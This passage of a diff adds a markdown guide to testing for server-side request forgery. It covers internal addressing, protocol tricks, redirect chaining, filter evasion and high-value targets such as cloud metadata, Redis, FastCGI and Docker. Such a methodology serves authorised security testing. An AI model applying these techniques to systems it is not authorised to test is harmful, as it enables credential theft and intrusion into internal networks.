|
141
|
+
2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
|
|
142
|
+
3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
|
|
143
|
+
4. **Protocol variations** - Test gopher, file, dict where supported
|
|
144
|
+
5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
|
|
145
|
+
6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
|
|
146
|
+
7. **Header/method control** - Can you influence request headers or HTTP method?
|
|
147
|
+
8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
|
|
148
|
+
|
|
149
|
+
## Validation
|
|
150
|
+
|
|
151
|
+
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
|
|
152
|
+
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
|
|
153
|
+
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
|
|
154
|
+
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
|
|
155
|
+
|
|
156
|
+
## False Positives
|
|
157
|
+
|
|
158
|
+
- Client-side fetches only (no server request)
|
|
159
|
+
- Strict allowlists with DNS pinning and no redirect following
|
|
160
|
+
- SSRF simulators/mocks returning canned responses without real egress
|
|
161
|
+
- Blocked egress confirmed by uniform errors across all targets and protocols
|
|
162
|
+
|
|
163
|
+
## Impact
|
|
164
|
+
|
|
165
|
+
- Cloud credential disclosure with subsequent control-plane/API access
|
|
166
|
+
- Access to internal control panels and data stores not exposed publicly
|
|
167
|
+
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
|
168
|
+
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
|
169
|
+
|
|
170
|
+
## Pro Tips
|
|
171
|
+
|
|
172
|
+
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
|
|
173
|
+
2. Test IPv6 and mixed-notation addresses; filters often ignore them
|
|
174
|
+
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
|
|
175
|
+
4. Redirects are leverage: control both the initial allowlisted host and the next hop
|
|
176
|
+
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
|
|
177
|
+
6. Use tiny payloads and tight timeouts to map ports with minimal noise
|
|
178
|
+
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
|
|
179
|
+
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
|
|
180
|
+
|
|
181
|
+
## Summary
|
|
182
|
+
|
|
183
|
+
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.
|